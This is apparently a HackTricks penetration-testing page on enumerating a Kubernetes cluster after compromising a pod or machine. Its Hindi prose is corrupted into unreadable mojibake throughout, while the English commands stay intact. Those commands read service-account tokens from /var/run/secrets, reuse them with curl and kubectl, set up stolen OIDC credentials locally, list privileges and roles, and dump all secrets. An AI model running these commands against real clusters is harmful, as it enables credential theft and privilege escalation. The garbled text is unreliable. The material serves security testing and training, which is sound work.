Kubernetes Enumeration

Support HackTricks

Kubernetes Tokens

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА рдорд╢реАрди рддрдХ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдХреБрдЫ Kubernetes рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИред рдЯреЛрдХрди рдЖрдорддреМрд░ рдкрд░ env var KUBECONFIG рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдпрд╛ ~/.kube рдХреЗ рдЕрдВрджрд░ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИред

рдЗрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЖрдк API рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреЛрдХрди рдФрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде рдПрдХ рдХреИрд╢ рдлрд╝реЛрд▓реНрдбрд░ рднреА рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдкрдиреЗ Kubernetes рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреЙрдб рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдЕрдиреНрдп рд╕реНрдерд╛рди рд╣реИрдВ рдЬрд╣рд╛рдБ рдЖрдк рдЯреЛрдХрди рдФрд░ рд╡рд░реНрддрдорд╛рди K8 рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

Service Account Tokens

рдЬрд╛рд░реА рд░рдЦрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ Kubernetes рдореЗрдВ рд╕реЗрд╡рд╛ рдХреНрдпрд╛ рд╣реИ, рддреЛ рдореИрдВ рдЖрдкрдХреЛ рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрдо рд╕реЗ рдХрдо Kubernetes рдЖрд░реНрдХрд┐рдЯреЗрдХреНрдЪрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреА рд╕рд▓рд╛рд╣ рджреВрдВрдЧрд╛ред

Kubernetes рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛:

тАЬрдЬрдм рдЖрдк рдПрдХ рдкреЙрдб рдмрдирд╛рддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдПрдХ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕реА рдирд╛рдорд╕реНрдерд╛рди рдореЗрдВ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рддрд╛ рд╣реИредтАЭ

ServiceAccount рдПрдХ рд╡рд╕реНрддреБ рд╣реИ рдЬрд┐рд╕реЗ Kubernetes рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдкреЙрдб рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╣рдЪрд╛рди рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдкреНрд░рддреНрдпреЗрдХ рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдПрдХ рдЧреБрдкреНрдд рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдЧреБрдкреНрдд рдореЗрдВ рдПрдХ рдмрд┐рдпрд░рд░ рдЯреЛрдХрди рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рдПрдХ JSON рд╡реЗрдм рдЯреЛрдХрди (JWT) рд╣реИ, рдЬреЛ рджреЛ рдкрдХреНрд╖реЛрдВ рдХреЗ рдмреАрдЪ рджрд╛рд╡реЛрдВ рдХрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рд╣реИред

рдЖрдорддреМрд░ рдкрд░ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИрдВ:

  • ca.crt: рдпрд╣ Kubernetes рд╕рдВрдЪрд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП ca рдкреНрд░рдорд╛рдгрдкрддреНрд░ рд╣реИ

  • namespace: рдпрд╣ рд╡рд░реНрддрдорд╛рди рдирд╛рдорд╕реНрдерд╛рди рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ

  • token: рдЗрд╕рдореЗрдВ рд╡рд░реНрддрдорд╛рди рдкреЙрдб рдХрд╛ рд╕реЗрд╡рд╛ рдЯреЛрдХрди рд╣реЛрддрд╛ рд╣реИред

рдЕрдм рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдЯреЛрдХрди рд╣реИ, рддреЛ рдЖрдк рд╡рд╛рддрд╛рд╡рд░рдг рдЪрд░ KUBECONFIG рдХреЗ рдЕрдВрджрд░ API рд╕рд░реНрд╡рд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛рдПрдБ (env | set) | grep -i "kuber|kube"

рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди рдЙрд╕ рдХреБрдВрдЬреА рджреНрд╡рд╛рд░рд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдлрд╝рд╛рдЗрд▓ sa.key рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддреА рд╣реИ рдФрд░ sa.pub рджреНрд╡рд╛рд░рд╛ рдорд╛рдиреНрдп рд╣реЛрддреА рд╣реИред

Kubernetes рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдерд╛рди:

  • /etc/kubernetes/pki

Minikube рдкрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕реНрдерд╛рди:

  • /var/lib/localkube/certs

Hot Pods

рд╣реЙрдЯ рдкреЙрдбреНрд╕ рдРрд╕реЗ рдкреЙрдб рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди рд╣реЛрддрд╛ рд╣реИред рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди рд╡рд╣ рдЯреЛрдХрди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЧреБрдкреНрддреЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ, рдкреЙрдб рдмрдирд╛рдиреЗ рдЖрджрд┐ рдЬреИрд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛрддреА рд╣реИред

RBAC

рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЬрд╛рдирддреЗ рдХрд┐ RBAC рдХреНрдпрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдЕрдиреБрднрд╛рдЧ рдХреЛ рдкрдврд╝реЗрдВред

GUI Applications

  • k9s: рдПрдХ GUI рдЬреЛ рдЯрд░реНрдорд┐рдирд▓ рд╕реЗ Kubernetes рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рддрд╛ рд╣реИред https://k9scli.io/topics/commands/ рдореЗрдВ рдХрдорд╛рдВрдб рджреЗрдЦреЗрдВред :namespace рд▓рд┐рдЦреЗрдВ рдФрд░ рд╕рднреА рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рддрд╛рдХрд┐ рдлрд┐рд░ рд╕рднреА рдирд╛рдорд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛ рд╕рдХреЗред

  • k8slens: рдпрд╣ рдХреБрдЫ рдореБрдлреНрдд рдкрд░реАрдХреНрд╖рдг рджрд┐рдиреЛрдВ рдХреА рдкреЗрд╢рдХрд╢ рдХрд░рддрд╛ рд╣реИ: https://k8slens.dev/

Enumeration CheatSheet

K8s рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ:

  • рдПрдХ рдорд╛рдиреНрдп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЯреЛрдХрдиред рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╣рдордиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреЛрдХрди рдФрд░ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдЦреЛрдЬрдиреЗ рдХреЗ рд╕реНрдерд╛рди рджреЗрдЦреЗред

  • Kubernetes API рдХрд╛ рдкрддрд╛ (_https://host:port_)**ред рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдЪрд░ рдФрд░/рдпрд╛ kube рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рд╡реИрдХрд▓реНрдкрд┐рдХ: API рд╕рд░реНрд╡рд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП ca.crtред рдпрд╣ рдЙрд╕реА рд╕реНрдерд╛рдиреЛрдВ рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЯреЛрдХрди рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ API рд╕рд░реНрд╡рд░ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ, рд▓реЗрдХрд┐рди kubectl рдХреЗ рд╕рд╛рде --insecure-skip-tls-verify рдпрд╛ curl рдХреЗ рд╕рд╛рде -k рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдЖрдкрдХреЛ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрдЧреАред

рдЗрди рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк Kubernetes рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ API рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реБрд▓рдн рд╣реИ, рддреЛ рдЖрдк рдмрд╕ рдЙрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рд╣реЛрд╕реНрдЯ рд╕реЗ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдорддреМрд░ рдкрд░ API рд╕рд░реНрд╡рд░ рдПрдХ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЕрдВрджрд░ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЗрд╕реЗ рдЕрдкрдиреА рдорд╢реАрди рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдордЭреМрддрд╛ рдХреА рдЧрдИ рдорд╢реАрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╕реБрд░рдВрдЧ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА, рдпрд╛ рдЖрдк kubectl рдмрд╛рдЗрдирд░реА рдХреЛ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ curl/wget/anything рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ API рд╕рд░реНрд╡рд░ рдкрд░ рдХрдЪреНрдЪреЗ HTTP рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЬрд╛ рд╕рдХреЗрдВред

list рдФрд░ get рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдЕрдВрддрд░

get рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ (kubectl рдореЗрдВ describe рд╡рд┐рдХрд▓реНрдк) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ list рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдкрддреНрддрд┐ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП API рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд░рдЦрддреЗ рд╣реИрдВ (kubectl рдореЗрдВ get рд╡рд┐рдХрд▓реНрдк):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ watch рдЕрдиреБрдорддрд┐ рд╣реИ, рддреЛ рдЖрдкрдХреЛ рд╕рдВрдкрддреНрддрд┐рдпреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП API рдЕрдиреБрд░реЛрдз рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

рд╡реЗ рдПрдХ рд╕реНрдЯреНрд░реАрдорд┐рдВрдЧ рдХрдиреЗрдХреНрд╢рди рдЦреЛрд▓рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдПрдХ Deployment рдХрд╛ рдкреВрд░рд╛ рдореИрдирд┐рдлреЗрд╕реНрдЯ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдЬрдм рднреА рдпрд╣ рдмрджрд▓рддрд╛ рд╣реИ (рдпрд╛ рдЬрдм рдПрдХ рдирдпрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)ред

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд kubectl рдХрдорд╛рдВрдбреНрд╕ рдпрд╣ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛рдПред рдпрджрд┐ рдЖрдк рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЖрдкрдХреЛ get рдХреЗ рдмрдЬрд╛рдп describe рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

Using curl

рдПрдХ рдкреЙрдб рдХреЗ рдЕрдВрджрд░, рдЖрдк рдХрдИ env рд╡реЗрд░рд┐рдПрдмрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдкреЙрдб kube-api рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рдбреЛрдореЗрди рдирд╛рдо kubernetes.default.svc рдореЗрдВ рдФрд░ рдЖрдк /etc/resolv.config рдореЗрдВ kube рдиреЗрдЯрд╡рд░реНрдХ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣рд╛рдБ рдЖрдкрдХреЛ kubernetes DNS рд╕рд░реНрд╡рд░ рдХрд╛ рдкрддрд╛ рдорд┐рд▓реЗрдЧрд╛ (рдПрдХ рд╣реА рд░реЗрдВрдЬ рдХрд╛ ".1" kube-api рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╣реИ)ред

kubectl рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдЯреЛрдХрди рдФрд░ API рд╕рд░реНрд╡рд░ рдХрд╛ рдкрддрд╛ рд╣реЛрдиреЗ рдкрд░, рдЖрдк рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП kubectl рдпрд╛ curl рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ рдпрд╣рд╛рдБ рд╕рдВрдХреЗрддрд┐рдд рд╣реИ:

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, APISERVER https:// рд╕реНрдХреАрдорд╛ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИ

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

рдпрджрд┐ URL рдореЗрдВ https:// рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдкрдХреЛ Bad Request рдЬреИрд╕реА рддреНрд░реБрдЯрд┐ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред

рдЖрдк рдпрд╣рд╛рдВ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ kubectl cheatsheet рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрднрд╛рдЧреЛрдВ рдХрд╛ рд▓рдХреНрд╖реНрдп рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреЛ рдХреНрд░рдордмрджреНрдз рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдирд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдк рдЙрд╕ рдирдП K8s рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХреЗрдВ рдФрд░ рд╕рдордЭ рд╕рдХреЗрдВ, рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рд╣реИред

HTTP рдЕрдиреБрд░реЛрдз рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ kubectl рднреЗрдЬрддрд╛ рд╣реИ, рдЖрдк рдкреИрд░рд╛рдореАрдЯрд░ -v=8 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

MitM kubectl - kubectl рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдирд╛

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

рд╡рд░реНрддрдорд╛рди рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

рдпрджрд┐ рдЖрдк рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЪреБрд░рд╛рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

рд╕рдорд░реНрдерд┐рдд рд╕рдВрд╕рд╛рдзрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рде, рдЖрдк рд╕рднреА рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдЬрд╛рдиреЗрдВрдЧреЗ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

рд╡рд░реНрддрдорд╛рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

рдЖрдкрдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рд╣реИ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛: https://github.com/corneliusweig/rakkess****

рдЖрдк Kubernetes RBAC рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ:

Kubernetes Role-Based Access Control(RBAC)

рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЬрд╛рди рд▓реЗрдВ рдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреМрди рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рддреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрдпрд╛ рдЖрдк рдЙрдирдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП:

Abusing Roles/ClusterRoles in Kubernetes

рджреВрд╕рд░реЛрдВ рдХреА рднреВрдорд┐рдХрд╛рдПрдБ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

k get roles
k get clusterroles

рдирд╛рдорд╕реНрдерд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

Kubernetes рдПрдХ рд╣реА рднреМрддрд┐рдХ рдХреНрд▓рд╕реНрдЯрд░ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдХрдИ рдЖрднрд╛рд╕реА рдХреНрд▓рд╕реНрдЯрд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдЗрди рдЖрднрд╛рд╕реА рдХреНрд▓рд╕реНрдЯрд░реЛрдВ рдХреЛ рдирд╛рдорд╕реНрдерд╛рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

k get namespaces

рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

